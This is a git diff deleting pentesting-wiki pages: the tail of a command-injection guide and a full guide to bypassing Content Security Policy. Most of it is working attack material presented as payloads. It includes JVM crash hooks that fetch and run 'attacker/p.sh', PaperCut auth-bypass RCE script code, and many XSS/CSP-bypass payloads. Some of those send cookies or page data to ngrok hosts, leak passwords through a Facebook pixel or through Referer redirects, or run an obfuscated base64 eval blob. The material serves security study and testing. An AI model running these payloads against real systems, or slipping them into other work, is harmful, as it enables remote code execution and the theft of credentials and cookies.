-- Abuse flags that change behavior or write files, for example:
-  - `ping`: `-f`/`-c 100000` to stress the device (DoS)
-  - `curl`: `-o /tmp/x` to write arbitrary paths, `-K <url>` to load attacker-controlled config
-  - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` to achieve post-rotate execution in unsafe wrappers
-- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place.
-
-Generic PoC shapes against centralized CGI dispatchers:
-
-```
-POST /cgi-bin/cstecgi.cgi HTTP/1.1
-Content-Type: application/x-www-form-urlencoded
-
-# Flip options in a downstream tool via argv injection
-topicurl=<handler>&param=-n
-
-# Unauthenticated RCE when a handler concatenates into a shell
-topicurl=setEasyMeshAgentCfg&agentName=;id;
-```
-
-### JVM diagnostic callbacks for guaranteed exec
-
-Any primitive that lets you **inject JVM command-line arguments** (`_JAVA_OPTIONS`, launcher config files, `AdditionalJavaArguments` fields in desktop agents, etc.) can be turned into a reliable RCE without touching application bytecode:
-
-1. **Force a deterministic crash** by shrinking metaspace or heap: `-XX:MaxMetaspaceSize=16m` (or a tiny `-Xmx`). This guarantees an `OutOfMemoryError` even during early bootstrap.
-2. **Attach an error hook**: `-XX:OnOutOfMemoryError="<cmd>"` or `-XX:OnError="<cmd>"` executes an arbitrary OS command whenever the JVM aborts.
-3. Optionally add `-XX:+CrashOnOutOfMemoryError` to avoid recovery attempts and keep the payload one-shot.
-
-Example payloads:
-
-```
--XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
--XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
-```
-
-Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see [Localhost WebSocket abuse](websocket-attacks.md#localhost-websocket-abuse--browser-port-discovery)) therefore translate directly into OS command execution.
-
-## PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
-
-- Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose `/app?service=page/SetupCompleted`; browsing there and clicking **Login** returns a valid `JSESSIONID` without credentials (authentication bypass in the setup flow).
-- In **Options → Config Editor**, set `print-and-device.script.enabled=Y` and `print.script.sandboxed=N` to turn on printer scripting and disable the sandbox.
-- In the printer **Scripting** tab, enable the script and keep `printJobHook` defined to avoid validation errors, but place the payload **outside** the function so it executes immediately when you click **Apply** (no print job needed):
-
-```js
-function printJobHook(inputs, actions) {}
-cmd = ["bash","-c","curl http://attacker/hit"];
-java.lang.Runtime.getRuntime().exec(cmd);
-```
-
-- Swap the callback for a reverse shell; if the UI/PoC cannot handle pipes/redirects, stage a payload with one command and exec it with a second request.
-- Horizon3's [CVE-2023-27350.py](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) automates the auth bypass, config flips, command execution, and rollback—run it through an upstream proxy (e.g., `proxychains` → Squid) when the service is only reachable internally.
-
-## Brute-Force Detection List
-
-
-{{#ref}}
-https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
-{{#endref}}
-
-
-## References
-
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
-- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
-- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
-- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
-- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
-- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
-- [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/)
-- [PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html)
-- [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
-- [CVE-2023-27350.py (auth bypass + print scripting automation)](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py)
-- [Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
deleted file mode 100644
index a8e54137f5b..00000000000
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ /dev/null
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-# Content Security Policy (CSP) Bypass
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## What is CSP
-
-Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at **shielding against attacks such as cross-site scripting (XSS)**. It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like `eval`, `setTimeout`, or `setInterval`.
-
-Implementation of CSP is conducted through **response headers** or by incorporating **meta elements into the HTML page**. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations.
-
-- Implemented via response header:
-
-```
-Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
-```
-
-- Implemented via meta tag:
-
-```xml
-<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
-```
-
-### Headers
-
-CSP can be enforced or monitored using these headers:
-
-- `Content-Security-Policy`: Enforces the CSP; the browser blocks any violations.
-- `Content-Security-Policy-Report-Only`: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments.
-
-### Defining Resources
-
-CSP restricts the origins for loading both active and passive content, controlling aspects like inline JavaScript execution and the use of `eval()`. An example policy is:
-
-```bash
-default-src 'none';
-img-src 'self';
-script-src 'self' https://code.jquery.com;
-style-src 'self';
-report-uri /cspreport
-font-src 'self' https://addons.cdn.mozilla.net;
-frame-src 'self' https://ic.paypal.com https://paypal.com;
-media-src https://videos.cdn.mozilla.net;
-object-src 'none';
-```
-
-### Directives
-
-- **script-src**: Allows specific sources for JavaScript, including URLs, inline scripts, and scripts triggered by event handlers or XSLT stylesheets.
-- **default-src**: Sets a default policy for fetching resources when specific fetch directives are absent.
-- **child-src**: Specifies allowed resources for web workers and embedded frame contents.
-- **connect-src**: Restricts URLs which can be loaded using interfaces like fetch, WebSocket, XMLHttpRequest.
-- **frame-src**: Restricts URLs for frames.
-- **frame-ancestors**: Specifies which sources can embed the current page, applicable to elements like `<frame>`, `<iframe>`, `<object>`, `<embed>`, and `<applet>`.
-- **img-src**: Defines allowed sources for images.
-- **font-src**: Specifies valid sources for fonts loaded using `@font-face`.
-- **manifest-src**: Defines allowed sources of application manifest files.
-- **media-src**: Defines allowed sources for loading media objects.
-- **object-src**: Defines allowed sources for `<object>`, `<embed>`, and `<applet>` elements.
-- **base-uri**: Specifies allowed URLs for loading using `<base>` elements.
-- **form-action**: Lists valid endpoints for form submissions.
-- **plugin-types**: Restricts mime types that a page may invoke.
-- **upgrade-insecure-requests**: Instructs browsers to rewrite HTTP URLs to HTTPS.
-- **sandbox**: Applies restrictions similar to the sandbox attribute of an `<iframe>`.
-- **report-to**: Specifies a group to which a report will be sent if the policy is violated.
-- **worker-src**: Specifies valid sources for Worker, SharedWorker, or ServiceWorker scripts.
-- **prefetch-src**: Specifies valid sources for resources that will be fetched or prefetched.
-- **navigate-to**: Restricts the URLs to which a document can navigate by any means (a, form, window.location, window.open, etc.)
-
-### Sources
-
-- `*`: Allows all URLs except those with `data:`, `blob:`, `filesystem:` schemes.
-- `'self'`: Allows loading from the same domain.
-- `'data'`: Allows resources to be loaded via the data scheme (e.g., Base64 encoded images).
-- `'none'`: Blocks loading from any source.
-- `'unsafe-eval'`: Allows the use of `eval()` and similar methods, not recommended for security reasons.
-- `'unsafe-hashes'`: Enables specific inline event handlers.
-- `'unsafe-inline'`: Allows the use of inline resources like inline `<script>` or `<style>`, not recommended for security reasons.
-- `'nonce'`: A whitelist for specific inline scripts using a cryptographic nonce (number used once).
-  - If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
-
-<details>
-
-<summary>Load script reusing nonce</summary>
-
-```html
-<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
-<img
-  src="x"
-  ng-on-error='
-doc=$event.target.ownerDocument;
-a=doc.defaultView.top.document.querySelector("[nonce]");
-b=doc.createElement("script");
-b.src="//example.com/evil.js";
-b.nonce=a.nonce; doc.body.appendChild(b)' />
-```
-
-</details>
-
-- `'sha256-<hash>'`: Whitelists scripts with a specific sha256 hash.
-- `'strict-dynamic'`: Allows loading scripts from any source if it has been whitelisted by a nonce or hash.
-- `'host'`: Specifies a specific host, like `example.com`.
-- `https:`: Restricts URLs to those that use HTTPS.
-- `blob:`: Allows resources to be loaded from Blob URLs (e.g., Blob URLs created via JavaScript).
-- `filesystem:`: Allows resources to be loaded from the filesystem.
-- `'report-sample'`: Includes a sample of the violating code in the violation report (useful for debugging).
-- `'strict-origin'`: Similar to 'self' but ensures the protocol security level of the sources matches the document (only secure origins can load resources from secure origins).
-- `'strict-origin-when-cross-origin'`: Sends full URLs when making same-origin requests but only sends the origin when the request is cross-origin.
-- `'unsafe-allow-redirects'`: Allows resources to be loaded that will immediately redirect to another resource. Not recommended as it weakens security.
-
-## Unsafe CSP Rules
-
-### 'unsafe-inline'
-
-```yaml
-Content-Security-Policy: script-src https://google.com 'unsafe-inline';
-```
-
-Working payload: `"/><script>alert(1);</script>`
-
-#### self + 'unsafe-inline' via Iframes
-
-
-{{#ref}}
-csp-bypass-self-+-unsafe-inline-with-iframes.md
-{{#endref}}
-
-### 'unsafe-eval'
-
-> [!CAUTION]
-> This is not working, for more info [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
-
-```yaml
-Content-Security-Policy: script-src https://google.com 'unsafe-eval';
-```
-
-Working payload:
-
-```html
-<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
-```
-
-### strict-dynamic
-
-If you can somehow make an **allowed JS code created a new script tag** in the DOM with your JS code, because an allowed script is creating it, the **new script tag will be allowed to be executed**.
-
-### Wildcard (\*)
-
-```yaml
-Content-Security-Policy: script-src 'self' https://google.com https: data *;
-```
-
-Working payload:
-
-```html
-"/>'><script src=https://attacker-website.com/evil.js></script>
-"/>'><script src=data:text/javascript,alert(1337)></script>
-```
-
-### Lack of object-src and default-src
-
-> [!CAUTION] > **It looks like this is not longer working**
-
-```yaml
-Content-Security-Policy: script-src 'self' ;
-```
-
-Working payloads:
-
-```html
-<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
-">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
-<param name="AllowScriptAccess" value="always"></object>
-```
-
-### File Upload + 'self'
-
-```yaml
-Content-Security-Policy: script-src 'self';  object-src 'none' ;
-```
-
-If you can upload a JS file you can bypass this CSP:
-
-Working payload:
-
-```html
-"/>'><script src="/uploads/picture.png.js"></script>
-```
-
-However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.
-
-Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/\***.
-
-From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
-
-### Form-action
-
-If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
-
-#### Credential theft with same-origin `GET` + `Referer` leak
-
-Even if the page uses a **very strict CSP** such as `default-src 'none'; script-src 'none'; style-src 'none'; img-src 'none'; connect-src 'none'; frame-src 'none'; form-action 'self'`, a **reflected HTML injection** in a login page can still steal saved credentials **without JavaScript**:
-
-1. Inject a fake login form in the trusted origin:
-
-```html
-<form action="/">
-  <input type="email" name="email" />
-  <input type="password" name="password" />
-  <input type="submit" />
-</form>
-```
-
-2. If the victim has credentials saved for that origin, the browser password manager may **autofill the injected fields**.
-3. Because the form has no `method`, HTML defaults to **`GET`**, so clicking submit moves the credentials into the URL, such as `/?email=victim%40mail.com&password=Secret123`.
-4. If the injection is reflected again, a second-stage payload can force a navigation that leaks that credential-bearing URL in the **`Referer`** header:
-
-```html
-<meta name="referrer" content="unsafe-url">
-<meta http-equiv="Refresh" content="0;url=https://attacker.example/">
-```
-
-This is useful when `form-action 'self'` blocks direct submission to an attacker-controlled domain: the victim first submits to the **same origin**, then the reflected page immediately **redirects** cross-origin and leaks the full previous URL via `Referer`.
-
-**Notes:**
-
-- `strict-origin-when-cross-origin` is the modern default referrer policy, so attackers often need to **inject** a weaker policy such as `unsafe-url` to include path and query string cross-origin.
-- `<meta http-equiv="Refresh">` is attractive in HTML-only exploits because it doesn't require JavaScript and often survives CSPs that only restrict scripts/connections.
-- If inline CSS is allowed, an invisible full-page submit button can turn this into an **any-click** attack:
-
-```html
-<input type="submit" style="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:999999;opacity:0">
-```
-
-**Test cases / impact upgrades:**
-
-- Reflected HTML injection on **login pages** or any page where password autofill is active
-- Credential-bearing forms that accidentally allow **`GET`**
-- Missing or weak `Referrer-Policy`
-- Secrets in URLs becoming exposed to **history, logs, analytics, reverse proxies, and cross-origin `Referer` headers**
-
-**Defensive notes:** fixing the HTML injection is the real fix. Defense in depth includes **forcing `POST` for credential forms**, setting an explicit restrictive `Referrer-Policy` (for example `no-referrer` or `same-origin`), and auditing whether password managers autofill attacker-injected forms rendered on trusted origins.
-
-### Third Party Endpoints + ('unsafe-eval')
-
-> [!WARNING]
-> For some of the following payload **`unsafe-eval` is not even needed**.
-
-```yaml
-Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
-```
-
-Load a vulnerable version of angular and execute arbitrary JS:
-
-```xml
-<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
-<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
-
-
-"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
-
-
-"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
-<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
-
-
-With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
-<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
-<iframe/ng-app/ng-csp/srcdoc="
-  <script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
-  </script>
-  <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
->
-```
-
-#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
-
-> [!TIP]
-> The post shows that you could **load** all **libraries** from `cdn.cloudflare.com` (or any other allowed JS libraries repo), execute all added functions from each library, and check **which functions from which libraries return the `window` object**.
-
-```html
-<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
-<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
-<div ng-app ng-csp>
- {{$on.curry.call().alert(1)}}
- {{[].empty.call().alert([].empty.call().document.domain)}}
- {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
-</div>
-
-
-<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
-<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
-<div ng-app ng-csp>
-  {{$on.curry.call().alert('xss')}}
-</div>
-
-
-<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
-<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
-<div ng-app ng-csp>
-  {{[].erase.call().alert('xss')}}
-</div>
-```
-
-Angular XSS from a class name:
-
-```html
-<div ng-app>
-  <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
-</div>
-```
-
-#### Abusing google recaptcha JS code
-
-According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP:
-
-```html
-<div
-  ng-controller="CarouselController as c"
-  ng-init="c.init()"
->
-&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
-<div carousel><div slides></div></div>
-
-<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
-```
-
-More [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
-
-```html
-<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
-
-<!-- Trigger alert -->
-<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
-
-<!-- Reuse nonce -->
-<img
-  src="x"
-  ng-on-error='
-	doc=$event.target.ownerDocument;
-	a=doc.defaultView.top.document.querySelector("[nonce]");
-	b=doc.createElement("script");
-	b.src="//example.com/evil.js";
-	b.nonce=a.nonce; doc.body.appendChild(b)' />
-```
-
-#### Abusing www.google.com for open redirect
-
-The following URL redirects to example.com (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
-
-```
-https://www.google.com/amp/s/example.com/
-```
-
-Abusing \*.google.com/script.google.com
-
-It's possible to abuse Google Apps Script to receive information in a page inside script.google.com. Like it's [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
-
-### Third Party Endpoints + JSONP
-
-```http
-Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
-```
-
-Scenarios like this where `script-src` is set to `self` and a particular domain which is whitelisted can be bypassed using JSONP. JSONP endpoints allow insecure callback methods which allow an attacker to perform XSS, working payload:
-
-```html
-"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
-"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
-```
-
-```html
-https://www.youtube.com/oembed?callback=alert;
-<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
-```
-
-```html
-<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
-```
-
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **contains ready to use JSONP endpoints to CSP bypass of different websites.**
-
-The same vulnerability will occur if the **trusted endpoint contains an Open Redirect** because if the initial endpoint is trusted, redirects are trusted.
-
-### Third Party Abuses
-
-As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code. Some of these third-parties are:
-
-| Entity            | Allowed Domain                               | Capabilities |
-| ----------------- | -------------------------------------------- | ------------ |
-| Facebook          | www.facebook.com, \*.facebook.com            | Exfil        |
-| Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
-| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec         |
-| Amazon CloudFront | \*.cloudfront.net                            | Exfil, Exec  |
-| Amazon AWS        | \*.amazonaws.com                             | Exfil, Exec  |
-| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
-| Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
-| Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |
-
-If you find any of the allowed domains in the CSP of your target, chances are that you might be able to bypass the CSP by registering on the third-party service and, either exfiltrate data to that service or to execute code.
-
-For example, if you find the following CSP:
-
-```
-Content-Security-Policy​: default-src 'self’ www.facebook.com;​
-```
-
-or
-
-```
-Content-Security-Policy​: connect-src www.facebook.com;​
-```
-
-You should be able to exfiltrate data, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In this case, you follow these general steps:
-
-1. Create a Facebook Developer account here.
-2. Create a new "Facebook Login" app and select "Website".
-3. Go to "Settings -> Basic" and get your "App ID"
-4. In the target site you want to exfiltrate data from, you can exfiltrate data by directly using the Facebook SDK gadget "fbq" through a "customEvent" and the data payload.
-5. Go to your App "Event Manager" and select the application you created (note the event manager could be found in an URL similar to this: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
-6. Select the tab "Test Events" to see the events being sent out by "your" web site.
-
-Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:
-
-```JavaScript
-fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
-fbq('trackCustom', 'My-Custom-Event',{​
-    data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
-});
-```
-
-As for the other seven third-party domains specified in the previous table, there are many other ways you can abuse them. Refer to the previously [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) for additional explanations about other third-party abuses.
-
-### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
-
-In addition to the aforementioned redirection to bypass path restrictions, there is another technique called Relative Path Overwrite (RPO) that can be used on some servers.
-
-For example, if CSP allows the path `https://example.com/scripts/react/`, it can be bypassed as follows:
-
-```html
-<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
-```
-
-The browser will ultimately load `https://example.com/scripts/angular/angular.js`.
-
-This works because for the browser, you are loading a file named `..%2fangular%2fangular.js` located under `https://example.com/scripts/react/`, which is compliant with CSP.
-
-∑, they will decode it, effectively requesting `https://example.com/scripts/react/../angular/angular.js`, which is equivalent to `https://example.com/scripts/angular/angular.js`.
-
-By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.
-
-The solution is to not treat `%2f` as `/` on the server-side, ensuring consistent interpretation between the browser and the server to avoid this issue.
-
-Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
-
-### Iframes JS execution
-
-
-{{#ref}}
-../xss-cross-site-scripting/iframes-in-xss-and-csp.md
-{{#endref}}
-
-### missing **base-uri**
-
-If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
-
-Moreover, if the **page is loading a script using a relative path** (like `<script src="/js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
-If the vulnerable page is loaded with **httpS**, make use an httpS url in the base.
-
-```html
-<base href="https://www.attacker.com/" />
-```
-
-### AngularJS events
-
-A specific policy known as Content Security Policy (CSP) may restrict JavaScript events. Nonetheless, AngularJS introduces custom events as an alternative. Within an event, AngularJS provides a unique object `$event`, referencing the native browser event object. This `$event` object can be exploited to circumvent the CSP. Notably, in Chrome, the `$event/event` object possesses a `path` attribute, holding an object array implicated in the event's execution chain, with the `window` object invariably positioned at the end. This structure is pivotal for sandbox escape tactics.
-
-By directing this array to the `orderBy` filter, it's possible to iterate over it, harnessing the terminal element (the `window` object) to trigger a global function like `alert()`. The demonstrated code snippet below elucidates this process:
-
-```xml
-<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
-?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
-```
-
-This snippet highlights the usage of the `ng-focus` directive to trigger the event, employing `$event.path|orderBy` to manipulate the `path` array, and leveraging the `window` object to execute the `alert()` function, thereby revealing `document.cookie`.
-
-**Find other Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
-
-### AngularJS and whitelisted domain
-
-```
-Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
-```
-
-A CSP policy that whitelists domains for script loading in an Angular JS application can be bypassed through the invocation of callback functions and certain vulnerable classes. Further information on this technique can be found in a detailed guide available on this [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
-
-Working payloads:
-
-```html
-<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
-ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
-
-<!-- no longer working -->
-<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
-```
-
-Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (some of them were deleted or fixed)
-
-### Bypass via Redirection
-
-What happens when CSP encounters server-side redirection? If the redirection leads to a different origin that is not allowed, it will still fail.
-
-However, according to the description in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), if the redirection leads to a different path, it can bypass the original restrictions.
-
-Here's an example:
-
-```html
-<!DOCTYPE html>
-<html>
-  <head>
-    <meta
-      http-equiv="Content-Security-Policy"
-      content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
-  </head>
-  <body>
-    <div id="userContent">
-      <script src="https://https://www.google.com/test"></script>
-      <script src="https://https://www.google.com/a/test"></script>
-      <script src="http://localhost:5555/301"></script>
-    </div>
-  </body>
-</html>
-```
-
-If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
-
-However, the final `http://localhost:5555/301` will be **redirected on the server-side to `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Since it is a redirection, the **path is not considered**, and the **script can be loaded**, thus bypassing the path restriction.
-
-With this redirection, even if the path is specified completely, it will still be bypassed.
-
-Therefore, the best solution is to ensure that the website does not have any open redirect vulnerabilities and that there are no domains that can be exploited in the CSP rules.
-
-### Bypass CSP with dangling markup
-
-Read [how here](../dangling-markup-html-scriptless-injection/index.html).
-
-### 'unsafe-inline'; img-src \*; via XSS
-
-```
-default-src 'self' 'unsafe-inline'; img-src *;
-```
-
-`'unsafe-inline'` means that you can execute any script inside the code (XSS can execute code) and `img-src *` means that you can use in the webpage any image from any resource.
-
-You can bypass this CSP by exfiltrating the data via images (in this occasion the XSS abuses a CSRF where a page accessible by the bot contains an SQLi, and extract the flag via an image):
-
-```javascript
-<script>
-  fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
-  Image().src='http://PLAYER_SERVER/?'+_)
-</script>
-```
-
-From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
-
